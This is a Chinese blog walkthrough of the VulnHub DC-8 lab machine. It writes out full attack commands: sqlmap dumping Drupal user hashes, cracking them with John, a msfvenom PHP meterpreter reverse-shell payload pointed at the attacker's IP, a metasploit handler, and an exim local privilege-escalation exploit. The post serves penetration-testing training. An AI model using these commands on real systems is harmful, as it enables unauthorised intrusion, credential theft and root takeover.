DC: 8靶机-Walkthrough

靶机地址
难度:未定义

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]

工具、知识点和漏洞

netdiscover
nmap
dirsearch
msfvenom
metasploit
searchsploit
exim 4.87-4.91本地提权漏洞

存疑、待解决

  • 为什么shell代码之前要添加其他任意的字符?

0x01、信息收集

靶机IP

netdiscover -r 192.168.0.0/24

DC: 8靶机-Walkthrough_第1张图片
端口和服务

nmap -sS -sV -T4 -A -p- 192.168.0.110

DC: 8靶机-Walkthrough_第2张图片
Drupal 7

./droopescan scan drupal -u http://192.168.0.110 -e a

DC: 8靶机-Walkthrough_第3张图片

python3 drupwn --users --nodes --modules --dfiles --themes enum http://192.168.0.110

DC: 8靶机-Walkthrough_第4张图片
默认管理员用户admin的UID为1

0x02、SQLi获取后台登录口令

网站首页
DC: 8靶机-Walkthrough_第5张图片
是不是以为首页左边的无序列表和上面的菜单栏各自对应的链接一样?嗨呀,要是你的第一反应跟我一样,觉得是一样的,那就大错特错了。

Home Who We Are Contact Us
http://192.168.0.110/ http://192.168.0.110/node/2 http://192.168.0.110/node/3

VS

Welcome to DC-8 Who We Are Contact Us
http://192.168.0.110/?nid=1 http://192.168.0.110/?nid=2 http://192.168.0.110/?nid=3

看到id就想到SQL注入(SQLi),看到留言就想到XSS
DC: 8靶机-Walkthrough_第6张图片
祭出神器SQLMap

sqlmap -u "http://192.168.0.110/?nid=1" --dbs
sqlmap -u "http://192.168.0.110/?nid=1" -D d7db --tables
sqlmap -u "http://192.168.0.110/?nid=1" -D d7db -T users --columns
sqlmap -u "http://192.168.0.110/?nid=1" -D d7db -T users -C name,pass --dump

DC: 8靶机-Walkthrough_第7张图片
hash-identifier没有识别出加密算法,直接用John the Ripper破解
在这里插入图片描述
DC: 8靶机-Walkthrough_第8张图片

0x03、Drupal Webform反弹shell

使用john/turtle登录后台,准备反弹shell

关于Drupal反弹shell,请看164-drupal-to-reverse-shell

如果你看过我写的DC:7靶机-Walkthrough,你可能会想到通过Add content-->Basic page去添加一个webshell,但是在这个靶机里面我们是通过Add content-->Webform去添加webshell的。
Title填好之后直接回车
DC: 8靶机-Walkthrough_第9张图片
点击右上角的WEBFROM按钮,先在下方添加一个留言框,设置好留言框的名字,就是在Label下面填入,留言框的类型就设置成Textfield,点击右侧的Add,然后点击Form settings,填入shell代码
DC: 8靶机-Walkthrough_第10张图片webshell我是用msfvenom生成的

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=1234 R > shell.php 

设置Text formatPHP code,页面拉到最下面,点击Save configuration,之后会在顶部提示设置已经更新完毕。这个时候不要关闭这个配置页面,而是点击右上角的VIEW按钮
DC: 8靶机-Walkthrough_第11张图片

注意:上面除了shell代码之外,必须加一些其他的东西,不然无法反弹shell。这一步我真是卡了好一会儿,最后是看了一下老外写的walkthrough,汗颜(人_人)

然后在下图输入框中随便输入点什么

留言区域上方的shell in there忽略,这个我写错了。

DC: 8靶机-Walkthrough_第12张图片
然后点击下方的按钮webshell,这个名字是自己定义的,我这里是webshell,之后会跳转到最终的提交页面,在点击下方的Submit按钮之前,你需要先在kali上监听端口,我这里使用的metasploit,因为shell代码是msfvenom生成的。
DC: 8靶机-Walkthrough_第13张图片
msfconsole接收反弹的shell

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run

DC: 8靶机-Walkthrough_第14张图片
我这里是自己新建了一个Webform,其实我们可以直接通过点击网页顶部导航栏里的Contact Us,因为它也是一个Webform,然后去点击Webform–>Form settings,在输入区域加入shell代码,设置Text formatPHP code
DC: 8靶机-Walkthrough_第15张图片DC: 8靶机-Walkthrough_第16张图片

0x04、exim4提权

直接用脚本搜集一下对于提权有用的信息,老样子还是用linuxprivchecker.py

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

为了便于查看收集到的信息,我将结果输出到report.txt文本中,随后用less命令进行查看

python linuxprivchecker.py > report.txt
less report.txt

在SUID可执行文件中我发现了之前没见过的一个程序exim4
DC: 8靶机-Walkthrough_第17张图片
DC: 8靶机-Walkthrough_第18张图片
exploit-db相关链接

第一次执行报错,又是因为不同系统之间编码格式的问题造成的,解决方案
在这里插入图片描述

exp中提供了两种提权方式,我最开始尝试使用setuid的方法,结果提示cp: cannot create regular file '/tmp/pwned': Text file busy
DC: 8靶机-Walkthrough_第19张图片
后来使用了第二种方法成功提权
DC: 8靶机-Walkthrough_第20张图片

0x05、后记

后面我对shell代码前面没有其他字符有其他字符的两种情况进行了抓包对比,但是没有分析出什么东西。

如果您有其他的方法,欢迎留言。若文中有任何错误,恳请批评指正。

你可能感兴趣的:(VulnHub,Linux,靶机)